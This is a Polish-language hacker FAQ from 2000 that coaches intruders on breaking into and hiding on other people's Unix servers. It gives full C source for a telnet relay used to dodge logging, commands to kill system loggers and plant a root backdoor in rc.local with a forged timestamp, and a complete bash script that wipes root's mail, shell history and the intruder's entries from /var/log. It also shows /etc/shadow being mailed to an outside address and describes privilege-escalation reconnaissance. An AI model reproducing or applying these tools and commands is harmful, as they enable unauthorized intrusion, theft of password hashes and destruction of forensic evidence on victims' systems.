    ''``'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'___'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'
    'sAmkO[FAQ] version 1.BETA                  /   \                                 '
    '                                          /_____\                                '
    '(c)copyright 2000   sAmkO                 | o-o |                                ' 
    'KONTAKT: samko@kki.net.pl                  \ - /                                 '
    '         samko@ad-zine.org                 __|__                                 '
    '         samko@antionline.org             /  |  \                                '
    '         http://samko.20m.com            /   |   \                               '
    '                                            / \                                  '
    '                                           /   \                                 '
    'IRC: irc.gigabell.de                    ___     ___                              '
    '     #!hackpl,#hwa-security,#HWA.hax0r.news                                      '
    '                                                                                 '
    'GREETZ:                                                                          '
    '- HWA (http://hwa-security.net)                                                  '
    '- CYBERX SQUAD (http://www.cyberx-squad.org)                                     '
    '- ACCESS DENIED ZINE (http://www.ad-zine.org)                                    '
    '                                                                                 '
    '`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`''`'`'`'`'`''`'`'`'`''``'`'

[root@localhost]# date
nie gru 31 23:21:09 CET 2000
[root@localhost]# 


########################################################################     
'[0,1] Wstep                                                           `                        
########################################################################
                                                          
########################################################################
'[0,2] Jak uruchomic sploita w filesystemie noexec?                    `
########################################################################

########################################################################
'[0,3] Jak nie zostawic po sobie sladu?                                `
########################################################################
    
########################################################################
'[0,4] Mam konto na serwerze,teraz jak zdobyc roota?                   `
########################################################################
       
########################################################################
'[0,5] Przeczytalem wszystkie FAQ'i jakie moglem znalesc,lecz wszystkie`
`      sie powtarzaja,skad wziac nowe i originalne?                    `
########################################################################

#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#

[0,1] WSTEP

      A wiec tak sobie pomyslalem ze jak kazdy moze FAQA napisac to ja tez moge no i tak 
      wyszlo.Denerwuje mnie jednak kilka spraw o ktorych napisze,otoz nie nawidze czegos
      takiego ze ludzie pisza niby FAQ'i a sa to po prostu wypisana cala ich wiedza jaka
      uzyskali czytajac inne zrodla.FAQ jest przeciez dokumentem odpowiadajacym na czeste
      zadawane pytania a przeciez nie zadaje sie tych samych pytan kilkanascie razy a tak 
      moze wywnioskowac z pseudo-FAQ'w polskich (C)hackerow piszacych w kazdym tekscie o
      tym samym... :{ Moje FAQ nie jest takie,napisalem je jako autentyczne odpowiedzi 
      na autentycznie zadawane do mnie pytania...

#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#

[0,2] JAK URUCHOMIC SPLOITA W FILESYSTEMIE NOEXEC?

      Otoz masz sploita na koncie,kompilujesz a tu sie okazuje ze jak chcesz go uruchomic
      to pokazuja ci sie bledy...No to znaczy ze filesystem gdzie masz swoj katalog domowy
      np. /home/samko jest "zamountowany" z opcja NOEXEC czyli teoretycznie nie mozesz
      wykonywac zadnych programow w swoim katalogu domowym...Przez dluzszy okres 
      czasu byla to duza przeszkoda dla hackerow,lecz wpadli oni w koncu na doskonaly pomysl
      wyszukajac pewna dziure w jednej z bibliotek *nix'a (unixa,linuxa) ta biblioteka
      jest ld-linux.so.2 wiec teraz jak chcemy uruchomic sploita w filesystemie noexec
      robimy:
      
      chacker@ofiara.org~$ gcc sploit.c
      chacker@ofiara.org~$ ./a.out
      bash: ./a.out: Brak dostpu    <--- jak masz po polsku :)
      
      chacker@ofiara.org~$ /lib/ld-linux.so.2 ./a.out
      sploit running...
      Jak widac uruchomilismy sploita,jak narazie powinno to dzialac na wiekszosci
      systemow dopoki biblioteka ld-linux.so.2 nie zostanie zmieniona :}
      
      Trik z ta biblioteka moze byc takze przydatny jesli Admin nie da ci prawa do
      uruchamiania danego programu(chmod o-x /path/program) wtedy tylko root moze 
      je uruchamiac...
      
      Przypuscmy ze chcesz zobaczyc kto jest w systemie:
      chacker@ofiara.org~$ w
      bash: /usr/bin/w: Brak dostpu

      Widocznie admin wylaczyl nam prawa do uruchamiania w :>
      a teraz:

      chacker@ofiara.org~$ type w
      w is /usr/bin/w
      chacker@ofiara.org~$ /lib/ld-linux.so.2 /usr/bin/w
      root     tty3     -                 8:57pm  9.00s  1.67s  1.54s  -bash 

      I o to chodzilo :}

#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#

[0,3] JAK NIE ZOSTAWIC PO SOBIE SLADU?

      A wiec chcialbys pochackowac kilka serwerow ale boisz sie ze jak dostaniesz
      roota i cos spier..lisz to bedziesz mial klopoty...Taa ten dylemat przezywa
      na poczatku kazdy :} ale jezeli bedziesz: czujny,pomyslisz dwa razy zanim
      cos zrobisz,zdobedziesz odpowiednie narzedzia i przeczytasz ten tekst :->
      to bedziesz znal pewne podstawy...
 
      Wiec oczywiscie wchodzisz na serwer petelkami,nie bede tu o nich pisal bo
      napewno o nich czytales a jak nie to poszukaj w innych FAQ'ach :}

      Ale mam co do petelek pewna uwage,otoz opisane jest ze jak robisz petelke
      to przekopiowujesz pliki (sploity,killoga,backdoory) z jednego serwera na
      drugi az dojdziesz do ostatniego serwera-atakowanego,ja sie pytam po co?!? ;\
      nie wystarczy przejsc petelka z jednego serwera na drugi az do atakowanego
      bez przekopiowania narzedzi a na koncu z ostatniego serwera wchodzac(ftp) na 
      pewne konto(nie musi byc shell)  gdzie masz wszystkie narzedzia juz predzej
      skopiowane i wtedy je sciagnac no pewnie ze latwiej :}

      Kiedys gdy jeszcze bawilem sie w "wlamy" :P uzywalem miedzy petelkami telnet
      gateway'a byl to program ktory uruchomiony bind()'owal sie na porcie i czekal
      na polaczenie gdy ktos sie polaczyl program ten uruchamial telnet'a i czekal 
      na podanie adresu serwera gdy on zostal podany telnetowal sie na ten serwer,
      Trik tkwi w tym ze kazdy user moze uruchomic tego gateway'a,wiec gdybys uruchomil
      gatewaya na serwerze i wylogowal sie ladnie z serwera a potem bys sie 
      telnetowal na gateway'a ktory uruchomiles 
      to nic by nie zostanie w logach gdy z gateway'a bys
      telnetowal sie dalej na innny serwer,gateway jest bardzo przydatny poniewaz
      gdybys telnetowal na inny serwer z twojego serwera tradycynie to admin
      twojego serwera mialby wszystko w logach zas gdy uzywasz gateway'a to 
      trudno im bedzie udowodnic ze to wlasnie ty telnetowales sie :}
      pamietaj ze po wlamie musisz usunac gateway'a przykladowo jak nazwales
      go gateway :P to napisz:

      chacker@ofiara~# killall gateway
      
      Jezeli admin predzej nie zauwazyl gateway'a a potem skillowales proces gateway'a
      i usunales z dysku to admin nie moze ci zbytnio udowodnic no chyba ze zapomniales
      o gateway'u nie skillowales jego procesu itd.to wtedy admin zobaczy:

      samko	948  0.0  0.9  1024   312 tty2     S    16:12   0:00 ./gateway
       
      a potem poleceniem:

      root@localhost~# netstat -lp | grep gateway
      
      zauwazy ze ten dziwny program gateway tworzy gniazdo sluchajace...:)
      i wtedy masz problem bo admin dodatkowo wie kto ten program uruchomil... ;|
     
       Wiec nie zapominaj zeby zawsze kasowac niepotrzebne pliki i killowac niepotrzebne
       procesy :-]

      --- Wiec ze troche zamieszalem ale gdy przeczytasz to okolo 100 razy
          to powinienes zalapac o co chodzi... :}
    
       A oto zrodlo gateway'a
 
--- CUT HERE ---
      
/* 
 TELNET GATEWAY-very usefull tool :>
 
 made by - no one knows ;[
 some usefull changes by sAmkO
*/
#include <sys/fcntl.h>
#include <stdio.h>
#include <ctype.h>
#include <sys/wait.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <signal.h>
#define port 191084            

FILE *errfd;

static int serfd;
struct sockaddr_in   addr;
char buffer[10][80];
int sockused[10];
int numports = 10;
int numproc=0;

died()
{
  numproc--;
  wait3(NULL,WNOHANG,NULL);
  signal(SIGCLD,died);
  return;
}

init_io()
{

  signal(SIGCLD,died);

  if ((serfd = socket(AF_INET,SOCK_STREAM,0)) <0 )
    return(1);


  addr.sin_family = AF_INET;
  addr.sin_addr.s_addr = INADDR_ANY;
  addr.sin_port = htons((u_short)port);


  if (bind(serfd,(struct sockaddr *)&addr, sizeof(addr)))
  {
    fprintf(errfd,"ioinit  cannot bind socket\n");
    exit(1);
  }

  if (listen(serfd,5) == -1)
  {
    fprintf(errfd,"ioinit  cannot listen at socket\n");
    return(1);
  }

  return(0);
}

getconnect()
{
  int s,length;
  struct sockaddr_in address;

  while(1)
  {
    length= sizeof addr;
    while ((s= accept(serfd,&address,&length))<0);
    wait3(NULL,WNOHANG,NULL);
    if (fork() == 0) /* child */
    {
        numproc++;
        dup2(s,0);
        dup2(s,1);
        dup2(s,2);
        close(s);
        write(serfd,"\n\n---MENU---",14);
        write(serfd,"\nto connect: open host\r\n",24); /* you can delete lines with write() */
        write(serfd,"\nto quit: q\r\n",16);
        write(serfd,"---------\n\n",12);
        system("exec telnet");
        kill(getpid(),SIGKILL);

        close(0);
        close(1);
        close(2);
        exit;
    }                /* end child */

    close(s);
    wait3(NULL,WNOHANG,NULL);
  }
}

main()
{
  int i;
  char temp[80],*term;
  int fd;

  for(i=0;i<36;i++) close(i);

  errfd=fopen("ERR","w");
  if(errfd==NULL) return(-1);
  setsid();
  if(fork()!=0) return(-1);
  init_io();
  getconnect();
}

--- CAT HERE ---

Nie bede wiecej a gateway'u pisal po prostu uruchom go telnetuj sie na port 191084 serwera
gdzie go uruchomiles i pobaw sie :)
No dobra zrobiles juz kilkanascie :P petelek i wszedles na serwer dostales roota i jest c00l
ale teraz najwazniejsze trzeba pozbyc sie wszelkich sladow,pierwszym krokiem jest wylaczenie
calkowicie loggerow systemowych (syslogd,klogd)

root@localhost~# killall -9 syslogd klogd
teraz sprawdz /etc/syslog.conf
i popatrz czy zadne logi nie ida na inny serwer albo nie do innych plikow 
w innych lokalizacjach jak tak jest to masz maly problem ale z czasem
nauczysz sie takze jak tego problemu sie pozbyc...:}
jak jest wszystko ok to robisz to:

no skompilowales killoga i uruchomiles...oczywiscie skasowales zrodlo... :}
a potem i skompilowanego killoga gdy sie z logow wyczyscisz... :}

Teraz wylaczyles logowanie nic juz nie bedzie szlo do logow chyba ze uruchomisz loggery 
ponownie 8-].Po tym zabiegu wszystkie "warning'i" bede isc na /dev/console
to znaczy ze jezeli admin jest lokalnie zalogowany na serwerze to bedzie
niestety dostawal warningi na ekran...

Wylaczylismy logowanie teraz postawimy backdoora(przypuscmy ze jest to standardowy
backdoor,ktory siedzi (bind()'uje) sie na pewnym porcie i czeka na haslo,
jak haslo jest ok to daje nam shella z uidem 0 (root)

przykladowo moj backdoor(usbtrojan.tar.gz) z http://samko.20m.com

root@localhost~# gcc backdoor.c -o .me
root@localhost~# rm backdoor.c;cp .me /etc    <--- chyba nic nie trzeba tlumaczyc...
root@localhost~# touch -r /bin/bash /etc/.me  <- to polecenie powoduje ze /etc/.me
                                                 dostaje date dostepu taka sama 
                                                 jaka ma /bin/bash
                                                 wiec gdy root sprawdza zmiany
                                                 w systemie metoda: find / -ctime
                                                 to jestesmy uratowani,gorzej jest
                                                 gdy uzywa narzedzi typu
                                                 tripwire,md5sum
root@localhost~# echo "/etc/.me&" >> /etc/rc.d/rc.local
                                               <- to dopisze backdoora to 
                                                  pliku rc.local z ktorego 
                                                  komendy w nim zapisane sa
                                                  uruchamiane po kazdym wlaczeniu              
                                                  systemu...jest to klopotliwe 
                                                  bo nie wiadomo kiedy system zostanie
                                                  ponownie uruchomiony...ale jak to 
                                                  jeden z naszych rodzimych hackerow
                                                  mowi: "patience is a virtue" :P
Pamietaj zeby nigdy nie uzywac backdoorow typu:

# cp /bin/bash /home/chacker/backdoor
# chmod +s /home/chacker/backdoor

bo to bardzo glupie i latwe do wykrycia...
Drugim glupim pomyslem jest takze tworzenie nowych serwisow w /etc/services
i /etc/inetd.conf ladujac jako nowy serwis shella no chyba ze uzyjesz inetback.c
ktory mozesz znalesc w pakiecie usbtrojan.tar.gz na mojej stronie...

Dobra zainstalowales juz backdoor'a teraz uzyj mojego skrypcika,dzieki ktoremu pozbedziesz
sie kilku niepotrzebnych niespodzianek... :}

fuck-the-trackz szuka w /tmp suidow kasujac je ,poniewaz sa one czesto 
tworzone przez sploity(exploity) a co by bylo jakby takiego suida zobaczyl admin.. ;\
trackz czysci historie uzytkownika...przydaje sie:}
czysci logi tekstowe i kasuje cala poczte jaka zostala wyslana do roota przez jakies
programy(np. logcheck) albo cos w tym stylu)

A tu masz zrodelko trackz'a :}

--- CAT HERE ---

  #!/bin/bash

  # # # # # # # # # # # # # # # # # # # # # # # # # # # #
  # description: The Almost lemest thing                #
  #              i've ever done... :>                   #
  #                                                     #
  # fuck-the-trackZ :}                                  #
  # by sAmkO | http://samko.20m.com | samko@kki.net.pl  #
  #                                                     #
  # greetz to:                                          #    
  # http://www.ad-zine.org                              #
  # http://www.cyberx-squad.org                         #
  # http://hwa-security.net                             #
  # # # # # # # # # # # # # # # # # # # # # # # # # # # #

clean() {
  rm -f /tmp/takitam
 }

whom() {
 if [ `whoami` != 'root' ]; 
  then 
   echo -e "\a\nyou must be root to run this...\n\n"
  exit 1
 fi
 }

niema() {
 echo -e "\n\n\E[032m"
  echo -e "_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_"
  echo -e "      fuck-the-trackZ by sAmkO         "
  echo -e "usage: $0 <your_ip_address|your_host>  "
  echo -e "_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_"
 echo -e "\n\n\E[00m"
exit 1
}       
 if [ ! $# = 1 ];
  then
    niema
 fi
 whom
 clear
  trap "echo "[fuck-the-trackZ]-by-sAmkO"" EXIT
   echo -e "fuck-the-trackZ :}\n" 
   echo -e "\n\E[032mby sAmkO\n"
   echo -e "\E[00m"
   echo -e "\nWHAT ARE WE DOING:\n\n"
   echo "* "killing" all the mail for root..."    # this is good when some deamons are
                                                  # sending warnings
      if [ ! -e /var/spool/mail/root ]; then      # to root...
          echo "hmmm there is no mail for root or the mail is not stored"
          echo "in /var/spool/mail"
      fi

    if [ -e /var/spool/mail/root ]; then 
      echo "there are some messages for root..."
       rm -f /var/spool/mail/root
      echo -e "ok i removed they..."
    fi

  echo -e "\n"
    echo "* removing the history..."
       history -c 
      echo "history removed..."
    echo -e "\n"
  echo "* now the .bash_history"

   if [ ! -e $HOME/.bash_history ]; then
       echo "ohh...i cannot find .bash_history"
        echo "maybe the history file is in the"
      echo "other file..."
   fi

   if [ -e $HOME/.bash_history ]; then
     >$HOME/.bash_history
    echo "$HOME/.bash_history cleaned...\n"
   fi
   echo -e "\n* unseting the variable HISTFILE"
    unset HISTFILE
   echo " "
   echo "* searching for suids in /tmp"
    find /tmp -perm ++s > /tmp/takitam 2>/dev/null
     let ile=0

     for plik in `cat /tmp/takitam`
       do    
        let ile=ile+1
     done
       if [ $ile = 0 ]; then

         echo "no suids in /tmp"
       fi   
   if [ $ile != 0 ]; then
    let ile=0
     echo -e "\n\a[suids found!]\n"
      echo "delete these files? [y/n]"
      echo ""
     cat /tmp/takitam
    read kasowac

     if [ $kasowac = 'y' ]; 
    then
      echo "removing suids from /tmp"

    for plik in `cat /tmp/takitam` 
      do
        rm -f $plik
          echo "$plik removed..."
      let ile=ile+1
    done   
    echo "[$ile] file(s) removed..."
   fi

  if [ ! $kasowac = 'y' ]; then
    echo "ok im living /tmp without removing the suids..."
   fi
 fi

 echo -e "\n* are we in the logs...?! ;o"
 echo -e "Press Enter..."
  read
 
  for plik in /var/log/*                    
    do
       if [ ! -d $plik ]; 
         then                      
        if [ ! $plik = '/var/log/wtmp' ]; 
           then
         if [ ! $plik = '/var/log/lastlog' ]; 
             then
      echo "---"
       entries=`cat $plik|grep $1|wc -l`
       
       if [ $entries = 0 ];
        then 
         echo "$plik : no entries..."
        continue
       fi
      if [ $entries != 0 ];
        then
      echo "In $plik are $entries entries..."
        cat $plik | grep -v $1 >/tmp/totam
       mv /tmp/totam $plik 
      echo "wiped!"
    fi
  fi
 fi
fi
 done
killall -HUP syslogd
clean  
# E0F :{

--- CAT HERE ---

Skrypt zrobil troche za nas,backdoor ktory uruchomilismy jest minimalny-pod wieloma wzgledami
najlepiej by bylo uruchomic jakiegos rootkit'a z strojanizowanymi programami takimi 
jak ls,ps,ifconfig i wiele innych ale wtedy admin moze nas wykryc dzieki tripwire,md5sum
ale najczesciej tylko tym...

na wszelki wypadek...
root@localhost~# cat /etc/shadow | mail twoj@email.pl

hehe :}
Dobra pozbylismy sie najczestszych sladow jakie mozemy zostawic...

pamietaj ze nawet jak juz po zdobyciu roota wchodzisz backdoorem do systemu,czyli
teoretycznie informacja o twoim polaczeniu nie jest przesylana do logow,
ale nie zapomnij zeby zawsze wchodzic petelka!!!
moze sie zdazyc ze gdy wejdziesz backdoorem,twoje prawdziwe IP moze zostac w logach
np.firewall'a albo jakis sniffer sie wszystkim zajmie(np. Snort)

To by byle na tyle,najwazniejsza zasada to: MYSL!!! :P

#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#

[0,4] MAM KONTO NA SERWERZE,JAK TERAZ ZDOBYC ROOTA?

      Czlowieku juz masz pol sukcesu w kieszeni,prawdziwym problemem jest root-jesli sie 
      konta nie ma... :} - chociaz i tak sie zdobywa ;]
      
      Nie bede sie tu rozpisywal,musisz sie po prostu dowiedziec sie o systemie jak najwiecej

      np:
      chacker@ofiara~# uname -a
      chacker@ofiara~# ifconfig  <---jesli po wykonaniu polecenia zobaczysz PROMISC...
                                     to znaczy ze na maszynie dziala sniffer          
                                     miej sie wiec na bacznosci...:}

      chacker@ofiara~# cat /etc/issue.net
      chacker@ofiara~# cat /etc/issue
      chacker@ofiara~# rpm -qa <-- ro ci wyswietli informacje o wszystkich pakietach
                                   zainstalowanych w systemie i ich wersjach

      mozesz tez sprawdzic plik redhat-release,ktory mozesz znalesc w systemach
      redhatopodobnych...

      chacker@ofiara~# cat /etc/redhat-release
                               <-- jezeli jest to dodatkowo pokaze ci dokladna
                                   wersje systemu...jezeli admin nie edytowal tego
                                   pliku...to samo tyczy sie pliku /proc/version

Dobra przyjmijmy ze znasz juz dokladna wersje systemu i wersje pakietow zainstalowanych na 
serwerze teraz wejdz na jedna z ponizszych stron i szukaj exploitow na dane programy:

http://www.ussrback.com
http://packetstorm.securify.com
http://neworder.box.sk
http://www.anticode.com
http://www.securityfocus.com

No powinno wystarczyc... :}
znajdz sploita i uruchom l-]

#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#

[0,5] PRZECZYTALEM WSZYSTKIE FAQ'i JAKIE MOGLEM ZNALESC,LECZ WSZYSTKIE SIE POWTARZAJA,SKAD
      WZIAC NOWE I ORIGINALNE?

      No prawda polskie FAQ'i sie bardzo czesto powtarzaja no wiesz..."takie czasy"
      ludzie wola na latwizne isc...:\
      Ale coz w polskich faq'ach duzo nowego infa nie znajdziesz musisz skazac sie na
      zagraniczne a mianowicie Angielskie(RuleZz :P)
      wiec skad je wziac...Chyba wystarczy ze podam adresy...:}
     
      http://neworder.box.sk                <--- w jakims linku Zines itp...
      http://packetstorm.securify.com       <--- dzial magazines ale i dzial papers sie oplaca 
                                                 obejzec... :}
      http://hwa-security.net               <-- dzial hax0r.news(chyba:P)
      
      http://blacksun.box.sk

      No narazie powinno to wystarczyc...A tak przy okazji to najprosciej wejdz w altaviste
      gdyby ktos nie wiedzial: http://www.altavista.com :} i wpisz slowo faq;FAQ 

___________________________________________________________________________________________________

GREETZ:
       CYBERX-SQUAD: http://www.cyberx-squad.org

       HWA-SECURITY: http://hwa-security.net
    
       ACCESS DENIED: http://www.ad-zine.org
       
___________________________________________________________________________________________________

#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#

